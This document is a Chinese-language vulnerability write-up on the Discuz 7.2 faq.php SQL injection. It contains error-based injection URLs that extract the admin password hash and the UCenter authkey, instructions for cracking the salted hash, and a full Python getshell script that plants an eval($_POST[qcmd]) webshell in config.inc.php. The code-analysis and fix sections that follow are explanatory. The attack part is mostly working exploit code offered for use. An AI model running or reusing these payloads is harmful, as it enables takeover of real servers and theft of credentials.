discuz /faq.php SQL Injection Vul

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1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

1. 通过获取管理员密码 
2. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询，需要带salt，获取的salt要去掉最后一个数字"1"
例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71
需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7
3. 通过uc_key获取shell
4. 进入后台，添加插件获取webshell 

Relevant Link:

http://sebug.net/vuldb/ssvid-87115
http://sebug.net/vuldb/ssvid-87114

2. 漏洞触发条件

1.获取数据库版本信息
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
 
2.获取管理员账户密码
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
 
3.获取key
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
//通过error based injection报错获得注入信息

0x1: POC

import sys,urllib,time,math,base64,hashlib,urllib2
#contant raw
def fg(kaishi, jieshu, wenben):
    start = wenben.find(kaishi);
    if start >= 0:
        start += len(kaishi);
        jieshu = wenben.find(jieshu, start);
        if jieshu >= 0:
            return wenben[start:jieshu].strip();
#microtime
def microtime(get_as_float = False) :
    if get_as_float:
        return time.time();
    else:
        return '%.8f %d' % math.modf(time.time());
#authget
def get_authcode(string, key = ''):
    ckey_length = 4;
    key = hashlib.md5(key).hexdigest();
    keya = hashlib.md5(key[0:16]).hexdigest();
    keyb = hashlib.md5(key[16:32]).hexdigest();
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:];
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest();
    key_length = len(cryptkey);
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string;
    string_length = len(string);
    result = '';
    box = range(0, 256);
    rndkey = dict();
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length]);
    j=0;
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256;
        tmp = box[i];
        box[i] = box[j];
        box[j] = tmp;
    a=0;
    j=0;
    for i in range(0,string_length):
        a = (a + 1) % 256;
        j = (j + box[a]) % 256;
        tmp = box[a];
        box[a] = box[j];
        box[j] = tmp;
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]));
    return keyc + base64.b64encode(result).replace('=', '');
#getshell  
def get_shell(url0,key,host):
    headers={'Accept-Language':'zh-cn',
             'Content-Type':'application/x-www-form-urlencoded',
             'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
             'Referer':url0
             };
    tm = time.time()+10*3600;
    tm="time=%d&action=updateapps" %tm;
    code = urllib.quote(get_authcode(tm,key));
    url0=url0+"?code="+code;
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[qcmd]);//</item>
            </root>''';
    try:
        req=urllib2.Request(url0,data=data1,headers=headers);
        ret=urllib2.urlopen(req);
    except:
        return "error to read";
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>''';
    try:
        req=urllib2.Request(url0,data=data2,headers=headers);
        ret=urllib2.urlopen(req);
    except:
        return "error";
    return "OK: "+host+"/config.inc.php | Password = qcmd";  #去掉/config/uc_config.php 为config.inc.php by niubl
#define over
#url from users
right = len(sys.argv);
if right < 2:
    #note
    print ("============================================================");
    print ("Discuz <= 7.2 Getshell");
    print ("Wrote by Airbasic");
    print ("Usage: py.exe " + sys.argv[0] + " http://localhost/dz");
    print ("============================================================");
    raw_input("");
    sys.exit()
url = sys.argv[1];
 
#go
url1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
#authkey1~31
wy1 = urllib.urlopen(url1);
nr1 = wy1.read();
authkey1 = fg("'1:","' for",nr1);
#authkey32~64
wy2 = urllib.urlopen(url2);
nr2 = wy2.read();
authkey2 = fg("'1:","' for",nr2);
#authkey
authkey = authkey1+authkey2;
#get username and password
#none
#over
#get webshell
url0 = url + "/api/uc.php";
host = url;
print ("Wrote by Airbasic , GetShell Ok !");
print get_shell(url0,authkey,host);
raw_input("");

Relevant Link:

http://blog.csdn.net/yiyefangzhou24/article/details/36913287
http://qqhack8.blog.163.com/blog/static/11414798520146711246279/

3. 漏洞影响范围
4. 漏洞代码分析

/faq.php

..
elseif($action == 'grouppermission') 
{
    ..
    //首先定义一个数组groupids，然后遍历$gids(这也是个数组，就是$_GET[gids])
    $groupids = array();
    foreach($gids as $row) 
    {
        //将数组中的所有值的第一位取出来放在groupids中
        $groupids[] = $row[0];
        /*
        这里的安全漏洞在于
        discuz在全局会对GET数组进行addslashes转义，也就是说会将单引号"'"转义成"\'"
        所以，如果我们的传入的参数是: gids[1]='的话，会被转义成$gids[1]=\'，而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符，也就是"\"，把转义符号取出来了
        */
    }

    /*
    在将数据放入sql语句前，通过implodeids函数对$groupids进行处理了一遍
    就是将刚才的$groupids数组用','分割开，组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符，它会将这里一个正常的'转义掉，比如这样：'1','\','3','4'
    这样就把原本的用于闭合的单引号给转义了，使得黑客的注入数据得以"逃逸"，也就是产生的注入，我们把报错语句放在3这个位置，就能报错
    */
    $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
    $groups = array();
    ..

Relevant Link:

http://simeon.blog.51cto.com/18680/1440000

5. 防御方法

/faq.php

elseif($action == 'grouppermission') 
{
    /* 对$gids进行初始化 */
    $gids = array(); 
    /* */

Relevant Link:

http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP
http://simeon.blog.51cto.com/18680/1440000

6. 攻防思考

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